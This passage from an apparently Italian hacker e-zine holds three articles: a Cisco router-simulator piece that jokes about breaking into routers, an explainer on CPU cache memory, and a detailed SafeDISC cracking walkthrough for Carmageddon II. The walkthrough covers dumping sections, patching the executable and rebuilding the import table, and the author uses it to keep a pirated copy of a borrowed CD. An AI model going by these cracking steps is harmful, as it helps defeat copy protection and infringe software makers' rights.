che costano sugli 8-10.000.000 (se non erro) e che vengono chiamati
CISCO ROUTER 2500. Sul fatto di che cosa siano credo che ci arrivino tutti =)
Cmq per chi abbia gia' sentito la parola router e non sappia che cosa siano
i router servono ad instradare tutte le migliaia di pacchetti che vagano in
ogni momento x la rete. A causa di questo mio "improvviso" interesse x i
router ho detto le soluzioni sono 3:

1) mi buco un router e me la godo da li' :D
Ma purtroppo mi sono accorto che non e' vera la voce che gira' che meta'
router hanno password cisco :( o no? ;)
2) me lo compro =)
Ma purtroppo sono stato impossibilitato a comprarlo causa mantenimento delle
mie venti ville in jamaica dove condivido tutto col mio amico Bob Marley
(pensavate fosse morto voi ahahahah ma solo io, Jammina e Mayhem sappiamo
dove sta :D )
3) mi cerco un emulatore di cisco ;)

Al che' le prime persone a cui ho chiesto mi hanno dato del pazzo e hanno
tentato di tracciarmi x segnalarmi alla piu' vicina casa di cura, ma io
imperterrito facendo un giretto qui e un giretto li' quasi per caso
mi sono imbattuto nella sezione cisco di antionline e tadah!!!
I miei occhi si illuminarono e mi scaricai subito il file wannabe.zip che
conteneva il tanto agognato simulatore.
Con infelicita' appresi che funzionavano solo alcuni dei comandi (10 in tutto
funziano). Dopo un po' di prove facendo l'about o guardando nei txt allegati
mi trovai il link a www.routersimulator.com e netscape non fece tempo ad
aprirsi che ero' gia' sul sito :-)
Che c'avra' di strano sto sito? (direte voi)
E io vi rispondero' che sul sito ci sono ben 3 lezioni su tutti i comandi
(al momento attuale) utilizzabili nello IOS (il sistema operativo dei router
cisco [ presente dagli 800 in su se non sbaglio ma mi sa che sto a sbaglia=])
che adesso e' alla versione 12.0.
Quindi vi cosiglio subito di andare al sitozzo in questione (messo cmq anke
tra i link in alto) e di scaricarvi sia l'emulatore (strafantastico) che le
tre lezioni con tanto di soluzioni.
Alla fine di tutto cio' voi saprete le basi di un router cisco:
- ci sono due password una x entrare e una di enable (che e' l'equivalente
del su di linux) e che da accesso root sul cisco;
- i comandi si danno con "comando1" e se si hanno dubbi basta digitare
"comando1 ?" e vi verra' fatta la lista di tutte le opzioni possibili
con tanto di spiegazione;
- saprete aggiungere o togliere una password non cifrata, cifrata e secret
- saprete configurare e assegnare gli ip alle varie interfacce (ethernet 0,
serial 0, serial 1 etc).
Ovviamente tutto cio' sara' solamente l'inizio xche' configurare e capire
bene un router e' piu' facile a dirsi che a farsi (chiedete a mayhem!) ma
piu' vi addentrerete nel mondo cisco piu' vi renderete conto di capire sempre
di piu' quella cosa da tutti definita come "internet".
Ora vi lascio ai vostri spippolamenti e per il prox numero di NetRunners
proporro' un art su come settare la sicurezza sui cisco attraverso secret,
tacacs e altre cosette, tutto solo se me lo accetteranno gli Spippolatori,
io intanto assimilo con il manualone cisco 11.3 e 12.0 tirati giu' da
www.cisco.com (c'e' piu' documentazione li' che negli archivi rfc quasi =)
e letti sui miei due libri freschi di pagamentos:
- Architettura di Instradamento per Internet by Bassan Halabi (CiscoPress)
- Progettare una rete sicura by Merike Kaeo (CiscoPress)
Imo ottimi tutti e due. Tanto xche' non sembri che faccia pubblicita' cisco
ricordate che ci sono tanti altri router e switch e altre belle cosette che
potete trovare in rete e ognuno ha i suoi comandi :D

Un arrivederci quindi alla prox avventura sempre qui su mai dire gnu-baaaais!

Byez at all N0bodY88-ooo
X mailarmi --------------------------------------> n0body88@freemail.it
X telefonarmi -----------------------------------> callback cisco 761 :P
X sapere xche' vivo -----------------------------> chiedete@a.smav.it
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ WANNA BE FLASH? USE THE CACHE......... ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Wanna Be FlAsh ? UsE ThA Cacheeeeeeeeeee..........

ThiS art. is DeD to: \SPIRIT\, NObodY88, Koma, Nhaima, Roxina, Flamer, Fake e
Malattia con cui ho passato un pomeriggio da godo al Futur
di Bologna.

Ankora: Adryana, smav, sharra14, V56, DjPulce, viper_rt, Onyxgirl, Tanith,
Xunil, DeViLNeT, Audioman, Maffy, Neo, Maniac666, Harlock, gufoz,
rubrik, Jesty, Jesty2, Rospetto.
Con cui divido tutte le mie nottate.

Ed in oltre: Chtulhu, Dark-Elf, Gnoma ed ITTIE che pur non essendo fisicamente
con noi...lo erano con l'animo :)

This ArtiCle is Vs-DeD 2: Il mio proffo che riesce a rendermi, tramite il suo
metodo di insegnamento completamente piatto ed il suo
comportamento sprezzante ed odioso, una materia
cosi' bella..complicata si'...ma davvero affascinante,
semplicemente MERDA.

Buenone..la cache..bene bene...tutti quanti la conoscono... te quanto hai di
cache? 512k? 1024k?Ma pochi...pochissimi direi...sanno che cosa sia realmente,
a cosa serva e come mai e' stata introdotta nell'ambito della costruzione,anke
detta "architettura" dei nostri attuali elaboratori...cerchero' di spiegarvelo
in maniera "semplice" tuttavia l'articolo non e' certo di facile comprensione e
necessita di adeguate conoscenze nel campo dei sistemi architetturali. Prima
di parlare della cache dovro' introdurvi e darvi una spruzzatina di nozioni
fondamentali sulla memoria in generale. La memoria si divide principalmente in
3 livelli che si differenziano tra loro per velocita' grandezza e posizione:

-La Memoria di Mazza(Massa):P contiene tutti i dati che NON devono essere
elaborati all'istante o cmq non prossimamente.

-La Memoria Centrale: in esta porzione di memoria sono pozionati tutti i dati
che vengono elaborati dal processore in quell'istante, questo livello e' anke
detto "in linea" proprio perche' la CPU interagisce istantaneamente con essa.
L'unico piccolo "problema" sorge quando si sta eseguendo + di un programma
contemporeaneamente. Tutto cio' e' stato risolto con il caricamento in
questa memoria delle parti di programma che in quel momento sono eseguite,
tutto il resto del programma sara' posizionato in memoria di massa e sara'
caricato in memoria centrale solo quando dovra' essere eseguita.Questa tecnica
e' detta multiprogrammazione.

-La Memoria locale al processore: Beh questa parte e' semplicemente l'unione di
tutti i registri ad alta velcita' del processore (AX BX CX e azzate varie
insomma).

Qui' sorge il secondo problema...
La velocita' di accesso del processore alla memoria e' diversa a seconda del
tipo di memoria a cui accede...caricando i dati dalla memoria locale, il
processo sara' molto + veloce mentre da quella di massa molto + "lento". Da
cosa e' causato tutto questo ? Semplicissimo...dalla differenza di larghezza
che vi e' nei canali di comunicazione :) Il software che gestisce
l'accesso alla memoria da parte del processore fa in modo da spostare le
istruzioni ed i dati alle quali la CPU ha + frequente accesso nelle zone di
memoria + veloci...purtroppo la capacita' delle memoria e la sua velocita' sono
in diretto contrasto tra loro...per la collimazione di questo gap son state
utilizzate 3 Tecniche principali:

1-Allargamento del bus di Dati
2-Prefetching
3-Aumento dei livelli nella gerarchia della memoria

1-Allargamento del bus di Dati(Parallelismo di tipo spaziale)
Il canale di connessione tra processore e memoria (BUS) e' il collo di
bottiglia di ogni calcolatore costruito sulla basa dell'architettura di Von
Neumann.Nonostante nella memoria ci siano una notevole quantita' di dati che
aspettano solo di essere caricati ed eseguiti la CPU ha la capacita' di
estrarne solo uno alla volta.La prima soluzione proposta e' quella
dell'allargamento del bus di dati: in pratica il processore estrae + di un
dato alla volta e lo esegue contemporeaneamente agli altri estratti.Questa
pero' non e' una reale soluzione sia perche' il processore dovrebbe gia' conoscere
la sequenza reale delle operzioni da svolgere e dei dati da estrarre, e sia
perche' questa soluzione non fa altro che raggruppare + architetture con lo
stesso problema in comune...in parole povere, il problema non e' risolto :)

2-Prefetching (Parallelismo di tipo temporale)
Con questa tecnica la CPU cerca di indovinare quale sara' la successiva
operazione ad essere estratta dalla memoria e sovrappone il suo caricamento
all'elaborazione della precedente. Non sempre pero' la CPU fa centro :P ed
allora non indovinando l'istruzione da estrarre fara' un'esplicita richiesta
della reale operazione....tutto questo non comporta una perdita di tempo ma
neanche un guadagno. E' cmq un'ottima tecnica poiche' riesce a sfruttare
l'architettura gia' esistente in maniera leggermente migliore indi senza spese
per l'hardware ma semplicemnte con un aggiornamento del software :)

3-Aumento dei livelli nella gerarchia della memoria
Perche' allargare il tubo, se posso invece renderlo semplicemente + scorrevole ?
Ecco che entra in campo la Cache....
La soluzione e' cercare di interporre delle memorie moooooooooolto + veloci tra
la memoria centrale ed i registri in modo tale da rendere lo scorrimento dati
molto + fluido...vi spiego mejo...quando il processore ha bisogno del dato,
esso viene caricato nella memoria cache o memoria buffer nel frattempo tutto
il resto delle info collegate al dato richiesto incominceranno ad accumularsi
nel buffer dal quale andranno estratte in seguito dal processore alla velocita'
della cache :))) spero abbiate capito :PPP.Quando accadra' che un dato
richiesto dalla CPU non sara' presente nella cache, essa verra' svuotata del suo
contenuto ed il processo rincomincera' daccapo...(Loop).
____________
| | /\
Velocita' | CPU | /__\
|| |____________| ||
|| | | ||
|| | Registri | ||
|| |____________| ||
|| | ||
|| _____|______ ||
|| | | ||
|| | Memoria | ||
|| | Cache | ||
|| |____________| ||
|| | ||
|| _____|______ ||
|| | | ||
|| | Memoria | ||
|| | Centrale | ||
|| |____________| ||
|| | ||
|| _____|______ ||
|| | | ||
_||_ | Memoria | ||
\ / | di massa | Capacita'
\/ |____________|


La Cache :) (finalmente direte voi!)

Un'ottima prerogativa della cache e' quella di potersi adattare in modo
"dinamico" a contenere i dati di cui la CPU fa un maggior utilizzo.
Ogni volta che il processore accede ad una informazione essa viene
immagazzinata anke nella cache in modo tale che se debba essere
riutilizzata nell'arco di un breve periodo di tempo, puo' essere letta
direttamente dalla cache e non dalla memoria Centrale.
Le probabilita' che l'operazione da caricare sia gia' presente nella cache sono
calcolate da degli opportuni alogaritmi che attraverso una "politica di
replacement"
caricheranno nella cache solo le info con una maggior prob. di
acesso in un minor spazio di tempo. L'unita' di misura delle allocazioni
all'interno della cache e' il blocco o linea.
Ogni tipo di informazione passante per la cache pero' ha delle caratteristiche
proprie di essa che suggeriscono un diverso svilupparsi della sua architettura,
esistono per questo vari tipi cache specifici per i diversi dati da
memorizzare.

-BTC Branch Target Cache in cui vengono memorizzate le istruzioni
target recentemente eseguite dal processore e le successive.
Quando il sistema dovra' richiamare un branch andra' per prima cosa a controllare
se nella BTC e' presente in modo da velocizzare il processo.
Vi sono anke delle cache preposte all'immagazinamento dei dati che hanno una
struttura + complicata poiche' devono prevedere la possibilita' che le info
caricate siano in seguito modificate dal processore.Esse, se modificate,
devono necessariamente essere ricopiate nella memoria centrale (copy-back).
Ma la cosa non e' cosi' semplice, infatti cosa succede se il sistema e' dotato di
+ processori o se cmq ha dei canali di I/O indipendenti ? ? ? ?
Le info verrebbero modificate ma l'altro processore non se ne accorgerebbe,
appunto per ovviare a questo inconveniente si usano 2 tecniche dette:
write-through e buswatch.
La write-trought consiste nel trascrivere appena modificate tutte le info
nella memoria centrale, la buswatch invece e' un meccanismo attraverso il quale
il sistema controlla se il dato che sta per caricare e' stato modificato in
qualche altra cache o nella memoria centrale stessa.

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
²°°°ÛÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛÛÛ°°ÛÛ°°ÛÛ°°ÛÛ°°ÛÛÛ°°°ÛÛ°°ÛÛÛÛÛÛÛÛ°°°²
²°°°ÛÛ°°°°ÛÛ°°ÛÛ²²²²ÛÛ°°ÛÛ²²²²ÛÛ°°ÛÛ°°°°ÛÛ°°ÛÛ°ÛÛ°°°ÛÛ°°ÛÛÛÛ°°ÛÛ°°ÛÛ°°°°°°°°°²
²°°°ÛÛ°°°°°°°°ÛÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛÛÛ°°ÛÛ°°°°°°°°ÛÛÛÛ°°°°ÛÛ°°ÛÛ°ÛÛ°ÛÛ°°ÛÛ°°ÛÛÛÛ°°°²
²°°°ÛÛ°°°°ÛÛ°°ÛÛ°°ÛÛ°°°°ÛÛ°°°°ÛÛ°°ÛÛ°°°°ÛÛ°°ÛÛ°ÛÛ°°°ÛÛ°°ÛÛ°°ÛÛÛÛ°°ÛÛ°°°°ÛÛ°°°²
²°°°ÛÛÛÛÛÛÛÛ°°ÛÛ°°°ÛÛÛ°°ÛÛ°°°°ÛÛ°°ÛÛÛÛÛÛÛÛ°°ÛÛ°°ÛÛ°°ÛÛ°°ÛÛ°°°ÛÛÛ°°ÛÛÛÛÛÛÛÛ°°°²
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

Autore: cod
e-mail: cod@antisocial.com
Data: 29 marzo 2000
Titolo: Carmageddon II - Carpocalypse now
Luogo: Quartier generale di cod :P

Diciamo di ammazzare il tempo come se, purtroppo, non fosse il tempo ad
ammazzare noi.
Alphonse Allais

DISCLAIMER:
Quanto state per leggere Š stato scritto a puro scopo didattico, l'autore
condanna quanti vogliano utilizzare le informazioni qui scritte per scopo
illegale. L'autore non si assume nessuna responsabilit… per eventuali danni
che possano derivare dalla lettura di questo documento (danni mentali o al
vs personal computer) e da mancati profitti che possono essere causati agli
autori (... sono passati quasi 2 anni, non cambia affatto la situazione!!).

Strumenti utilizzati:
Numega SoftICE 4.00 - Il mio debugger preferito.
iCEDump - Patchate il vostro SoftICE se non l'avete fatto! O usate iCEDUMP 6
Hacker's View 6.10 - Un ottimo editor per chi si occupa di cracking.
SupWrite - Un programmino scritto da Pedro/Laxity che ci facilita buona parte
del lavoro, per chi non usa HexWorkshop
Windasm 8.xx - Il disassemblatore + lumacone che ci sia.....

Il cd originale di CARMAGGEDON 2 - Carpocalypse now o una copia fatta col
CloneCD o magari anche il crack dei Laxity per SafeDISC. Otteniamo sempre lo
stesso risultato!

Qualche buon cd di musica.. a condizione che non vi rincoglionisca

Introduzione:
Chi, come me, ha una passione per l'informatica da un p• di tempo ricorder…
che nell'estate del 1997 fu introdotto sul mercato un videogioco... di per
se con nulla di poi tanto eccezzionale a livello grafico o sonoro... ma con
qualcosa di veramente spaventoso... CARMAGEDDON. Cosa aveva questo gioco da
essere considerato ILLEGALE in molti paesi di questo piccolo ammasso di terra?
NIENTE! Si trattava di un normalissimo gioco di corse di automobili, che per•
incentivava il pilota a mettere sotto l'automobilina tutti gli esseri umani
che si venivano a trovare nell'arena di gioco. Il mondo intero rimase shockato
dalla filosofia di questo videogioco... ne venne vietata la vendita della
versione originale anche nel nostro paese. Le uniche copie non censurate del
videogioco furono ritirate dagli scaffali dei negozi... solo perchŠ degli
stupidi consideravano violento questo gioco... perchŠ poteva influenzare i
giovani adolescenti convincendoli che era moralmente corretto investire le
persone! Un paio di mesi pi— tardi venne introdotta la versione censurata,
dove gli uomini furono sostituiti da degli stupidi zombi con un sangue verde
e con mucche... il gioco aveva perso di per se il fascino che aveva! :( Non
mi Š mai piaciuta questa versione del gioco.

Nonostante questo, la violenza nei video giochi Š continuata ad aumentare...
oggi vendono per lo pi— i titoli dove si entra in campo con un arsenale che
farebbe invidia perfino ad un'intera truppa militare, dove si spara a pi— non
posso e dove non esistono alleati o nemici... se vi sono alleati Š meglio per
loro stare il pi— lontano possibile (almeno da me in Unreal tournement.. ne
ho ammazzati un bel p• della mia squadra.. prima si spara e poi si pensa!).

Nel 1998 finalmente Š stato pubblicato il seguito di CARMAGEDDON
CARMAGEDDON II - CARPOCALYPSE NOW

Finalmente non Š stato censurato nemmeno nel nostro paese!! E finalmente
mi posso mettere alla guida di un auto senza dovermi preoccupare dei passanti,
qui ne posso investire quanti ne voglio!!!! (senza correre il rischio che mi
sia ritirata la patente!), anzi mi ci potrei anche esercitare a non ammazzarne,
ma poi se non li stendo non guadagno punti e resto fregato nel gioco! SIGH :/

E' ora di incominciare...

Per prima cosa ho inserito il CD nel lettore ed ho caricato CDR WIN per fare
una scansione del disco. Errore di lettura tra il 100 e il 400. settore!
Avvio Gestione risorse e mi metto a guardare il contenuto del CD-Rom. Trovo
subito dei file con estensione .tmp, e alcune solite e stupide DLL che ho
gi… visto in altri cd. Per dare maggiore conferma al mio dubbio cerco nel CD
eventuali file con estensione .ICD. Ok sono stati trovato e come al solito
oltre a CARM2_HW.ICD e CARM2_SW.ICD ci trovo due eseguibili. IL CD Rom Š
stato protetto con SafeDISC e il mio bel masterizzatore non supporta la RAW
Write... maledetta YAMAHA! Allora non resta altro che crackarlo! Io cracker•
CARM2_SW.ICD dato che non ho schede 3D sul pc, ma il metodo usato Š identico!

Per prima cosa installo il gioco sull'hd, e avvio HIEW per dare un'occhiatina
al file CARM2_SW.ICD. SafeDISC cripta l'eseguibile originale del videogioco e
lo decripta solo quando si Š realmente accertato che il disco utilizzato Š
un CD originale. :) Si ma io il cd gli e lo devo tornare.. se mi viene voglia
di farmi un giro e non preoccuparmi dei passanti che me ne faccio del cd
masterizzato ? Allora avviamo HIEW CARM2_SW.ICD, battiamo INVIO e entriamo in
modo esadecimale, premiamo F8 e incominciamo a leggere la tabella che ci
compare:

Original Entry Point RVA 00173730
Image Base 00400000

Premiamo F6 e diamo un'occhiata alle sezioni del file:

Sezione VirtSize RVA PhisSize Offset F L A G
.text 00181A9C 00001000 00181C00 00000400 60000020 * CODICE
.rdata 00005AF4 00183000 00005C00 00182000 40000040 * IAT
.data 0020D824 00189000 000E7000 00187C00 C0000040 * DATI

Ok.... questa Š la struttura del file, per nostra fortuna SafeDISC non cripta
questa tabella.. altrimenti sarebbero guai :P

Di tutte queste sezioni, CODICE e DATI sono criptate... Non si capisce un
mazzo di quello che c'Š memorizzato sul disco!

Avviamo il sistema con SoftICE caricato... avviamo il videogioco e ci compare
la schermata delle impostazioni... io salvo tutto per utilizzare il rendering
software e cos mi carica sempre CARM2_SW.EXE. Mi compare una msg box che
dice gentilmente di rimuovere il debugger. Avvio FrogsICE e tolgo la schermata
BLUE SCREEN OF DEATH .. cos SoftICE funzioner… come se nessun check anti-debug
fosse attivo sul pc. Ricarico il gioco e lo faccio girare fino a che il monitor
non diventa scuro xchŠ sta caricando il gioco. Carico SoftICE premendo CTRL+D
ed Š ora di incominciare :P
Settiamo un bel break point sull'entry point del gioco... Assicuratevi
che sia il punto giusto di memoria ok ?? :P Per questo gioco l'entry point Š
00173730 ... ma Š quello sul file, sommiamo l'image base ed otteniamo 00573730
Il punto corretto dove ci dobbiamo fermare. BPX 573730 e continuamo la normale
esecuzione... chiudiamo il gioco e lo riavviamo. Stavolta il debugger brekka
dove noi volevamo! Ora ricorriamo a iCEDump (o a qualsiasi altro dumper)...
PAGEIN D 401000 181A9C c:\text.bin ; Cos ci copiamo tutto la sezione
.text
; dalla memoria sul disco fisso.
PAGEIN D 589000 E7000 c:\data.bin ; Idem x data.. per• qui vi faccio notare
; che copiamo solo quanto risulta essere
; la dimensione fisica e non la lunghezza
; virtuale... altrimenti ci troverremo con
; un eseguibile quasi 2 volte pi— grande
; dell'originale!

La sezione .rdata la lasciamo dove Š ... Š la IAT e se la importiamo ci
mettiamo nei guai... il loader non ci darebbe il programma!

Tracciamo un attimino il programma, finchŠ non incontriamo la prima
CALL DWORD PTR [xxxxxxxx]. Tracciamo questa CALL, entriamo dritti in una
tabella di JMP DWORD PTR [xxxxxxxx] per• il sice quel xxxxxxx l'ha tradotto
in nomi. Dove ci troviamo noi Š JMP DWORD PTR KERNEL32!GetVersion. Avviamo
ok ... continuamo con l'esecuzione del programma... non ce ne pu• sbatter di
meno! Chiudiamo il gioco e facciamo una copia del CARMA2_SW.ICD e lo chiamiamo
CRACKED.EXE (La vittoria Š del pi— forte... se usa un minimo di cervello :P)
Io con SupWrite, voi con quello che vi pare procedo a sostituire il codice
di CRACKED.EXE con quello che ho dumpato dal programma.

SUPWRITE C:\TEXT.BIN CRACKED.EXE 0x0 0x400 0x181A9C

La sezione .text Š stata sostituita con quella copiata dalla memoria :P
Notiamo i vari parametri... C:\TEXT.BIN Š il file di origine, CRACKED.EXE
il file di destinazione, 0x0 Š il valore esadecimale da dove si incomincia
a leggere dall'origine, 0x400 Š il valore invece esadecimale da dove si
incomincia a scrivere, 0x181A9C Š il valore esadecimale di quanto si deve
scrivere.

SUPWRITE C:\DATA.BIN CRACKED.EXE 0x0 0x187C00 0xE7000. Problema risolto :P

Ok .. potremmo dire che il programma Š crackato. ma qualcosa non va. Avviate
il file e vi dar… errore di protezione. Tracciamolo col SoftICE. Vi ricordate
la CALL DWORD PTR che puntava a JMP DWORD PTR KERNEL32!GetVersion ? Si ...
bene stavolta punta direttamente a KERNEL32!CloseHandle, non ci sta nemmeno
il JMP DWORD. Cosa significa questo ? Il gentile SafeDISC manipola le chiamate
della IAT in chiamate all'interno del SafeDISC stesso che poi le smista
alle chiamate esatte. Per lo meno questa versione si limita a reindirizzarle
a quelle reali con un JMP DWORD ... allora cosa si fa ?

Dovremmo lavorare un p• con la vecchia carta e l'editor. Innanzi tutto
incominciamo a scrivere su un foglio di carta tutti gli indirizzi dove
si trovano le JMP DWORD Funzione che stanno in memoria. Li scriviamo in
ordine progressivo, cos come vengono e riportiamo anche l'offset in cui
si trovano tali istruzioni. Completata questa operazione si passa
all'indirizzo .00583000, ovvero all'inizio della sezione .rdata dove risiede
la IMPORT TABLE ADDRESS del nostro target. Battiamo su SoftICE il comando
DD e abilitiamo la Data Window con WD nn (nn sta x quante righe visualizzare
nella data window). D 583000 e la Data Window si riporta su 583000.
Incominciamo a cercare tutti quei indirizzi che nella IAT risultavano
puntare a delle JMP DWORD Funzione...
Su carta riportiamo l'indirizzo nella IAT e la funzione a cui realmente
esso punta. Completiamo questo lavoro per tutte le funzioni che abbiamo
trascritto e chiudiamo Sice e a sua volta il programma.

Apriamo con l'editor esadecimale di nostro gradimento il file binario e
spostiamoci all'inizio della sezione .rdata, ovvero all'offset 182000h
del file. Qui incominciamo a ricorreggere tutte le voci.
Allora noi cosa abbiamo su carta ?

:00Bxxxxx JMP DWORD Funzione

:00583xxx voce che riferiva a tale JMP

Ci posizioniamo sull'indirizzo RVA e vediamo a quale API realmente punta il
programma, aggiungendo alla DWORD memorizzata nel file il valore +400000h
e entriamo nella tabella dei nomi. Qui riscontriamo i vari nomi delle API,
segniamo gli offset RVA delle varie API e le correggiamo nella IAT facendo
puntare per esempio la locazione :005830B4 da CloseHandle come risulta sul
file a GetVersion.

Le voci che sono memorizzate in RDATA sono costituite in questo modo.
xx xx NomeFunzione 00h

I primi due byte anche se non a prima vista non azzeccano nulla con il nome
della funzione importata sono necessari nella IAT e pertanto li dobbiamo
contare come elementi pertinenti al nome. Vanno contati negli offset.

Allora, si incomincia con la sostituzione di tutte le voci della IAT. :P
Per semplificare questo lentissimo e noiosissimo processo ho avviato il
SoftICE brekkando all'entry point del programma. Ho rimosso la Data Window
ed ho espanso al massimo la Code Window. Mi sono posizionato prima sulla
tabella che conteneva tutti i JMP DWORD al KERNEL32 ed ho acceso la stampante!
Con il tasto 'PRINT SCREEN' ho stampato le 4/5 pagine che erano di questa
tabella ed idem ho fatto anche con la tabella di USER32. Cos mi ritrovavo
su carta la IAT ordinata di Carmageddon 2. Continuo l'esecuzione ed esco.
Avvio il W32Dasm e disassemblo il file CRACKED.EXE. Salvo il progetto e lo
riapro con l'editor di MS-Dos. Mi porto sulla voce 'IMPORTED FROM KERNEL32.DLL'
e su quella di USER32.DLL. Ne seleziono le voci importate e le salvo in file
di testo separato. Incomincio a riorganizzare le voci nel file di testo come
sono indicati sui fogli.

Ricordo che il W32Dasm ci da la seguente riga per le voci importate:
Addr:0018D052 hint(00FE) Name: GetModuleHandleA

Addr:xxxxxxxx Ci indica l'indirizzo dove Š memorizzata la funzione.
Riorganizzate tutte le voci stampo i due file, avvio l'editor esadecimale
e mi posiziono nella IAT, dove incomincia la prima voce del KERNEL32. Qui
ricorreggo tutte le voci memorizzando tutte le DWORD come sono scritte sul
foglio (es: non 0018D052 ma 52D01800 .. non dimenticate l'ordinamento di
INTEL). Terminato questa pallosa operazione avvio il programma... e mi da
ancora errore :( Lo ridisassemblo, mi posizione sulla import table di
KERNEL32
e stavolta vedo che gli indirizzi sono quelli che volevo io, ma con i nomi
alterati. Quasi quasi dimenticavo.... nel formato PE esiste una tabella che
contiene l'ordine delle funzioni... per nostra fortuna questa IMPORT TABLE
Š tutta ordinata... riscrivo tutte le voci come ho fatto la prima volta
e risalvo il file. Stavolta lo avvio e faccio una strage di pedoni :) Alla
faccia della censura.

Ora, in neanche 5min ho riapprontato tutto il lavoro per l'altro eseguibile,
rifatto tutta la correzione della IAT scarico il video gioco su un CD e
l'originale se lo possono anche riprendere :P Mi sono fatto un bel gioco
sanguinario....

Ringraziamenti:

Max Pirata - Gli faccio i migliori auguri per la sua rivista!

ACiD BuRN e Black Check - Gli autori degli unici tutorial che ho trovato su
Safedisc

xOANON - Per avermi gentilmente (miracolo!! Ha risposto alla richiesta!)
indicato come fixare il tutto... solo che Š molto palloso questo
metodo... magari mi faccio un programma la prox volta che mi
capita sto coso!

Un ringraziamento anche a mia sorella per avermi dettato tutti gli indirizzi
della IAT che andavano fixati ... anche se per lei erano delle stupide cifre
per me avevano un'importanza particolare!!! Peccato che non sapeva che stessi
facendo :)

Al proprietario del CD originale.. grazie assai :) Oltre che a farmi una
copia di questo magnifico gioco, ne ho anche ricavato qualcosa di utile per
questo mondo malefico...

Un saluto a tutti gli studenti e/o aspiranti cracker novelli o professionisti
che sono iscritti alla UIC, nonostante sia scomparso in circostanze assai
misteriose Quequero... forse Š stato rapito dagli alieni o magari ha deciso
di darsi alla latitanza come +ORC (e magari un giorno ci arriver… qualche
lettera di Quequero dal Zimbawe :) ) e tutti gli assidui frequentatori di
#crack-it ([alt255] in testa!!! :P).

Infine una nota dolente.. possibile che non si trova un crack quando lo si
ricerca sulla rete ?? Ho dovuto crackare l'intero gioco x necessit… altro
che x il tutorial... non ho trovato il benedetto crack x la versione ITA.

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
²°°°°°ÛÛÛÛÛÛÛÛ°ÛÛÛÛÛ°°°°°ÛÛ°°°°°ÛÛÛ°°°ÛÛ°°ÛÛ°ÛÛÛÛÛ°ÛÛ°ÛÛÛÛÛ°ÛÛ°°°Û°ÛÛ°°°°°°°°²
²°°°°°°°°ÛÛ°°°°ÛÛ°°Û°°°°ÛÛÛÛ°°°°ÛÛ°Û°°ÛÛ°°ÛÛ°°°°ÛÛ°ÛÛ°Û°°°Û°ÛÛÛ°°Û°ÛÛ°°°°°°°°²
²°°°°°°°°ÛÛ°°°°ÛÛÛÛÛ°°°ÛÛ°°ÛÛ°°°ÛÛ°°Û°ÛÛ°°ÛÛ°°°ÛÛ°°ÛÛ°Û°°°Û°Û°ÛÛ°Û°ÛÛ°°°°°°°°²
²°°°°°°°°ÛÛ°°°°ÛÛ°Û°°°ÛÛÛÛÛÛÛÛ°°ÛÛ°Û°°ÛÛ°°ÛÛ°°ÛÛ°°°ÛÛ°Û°°°Û°Û°°ÛÛÛ°ÛÛ°°°°°°°°²
²°°°°°°°°ÛÛ°°°°ÛÛ°°Û°ÛÛ°°°°°°ÛÛ°ÛÛÛ°°°ÛÛÛÛÛÛ°ÛÛÛÛÛ°ÛÛ°ÛÛÛÛÛ°Û°°°ÛÛ°ÛÛ°°°°°°°°²
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ UN TRUCCO AL GIORNO GRAZIE A WWW.UGU.COM ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

INTRO

Salve a tutti qui e' il vostro N0bodY88-ooo chi vi parla dal suo
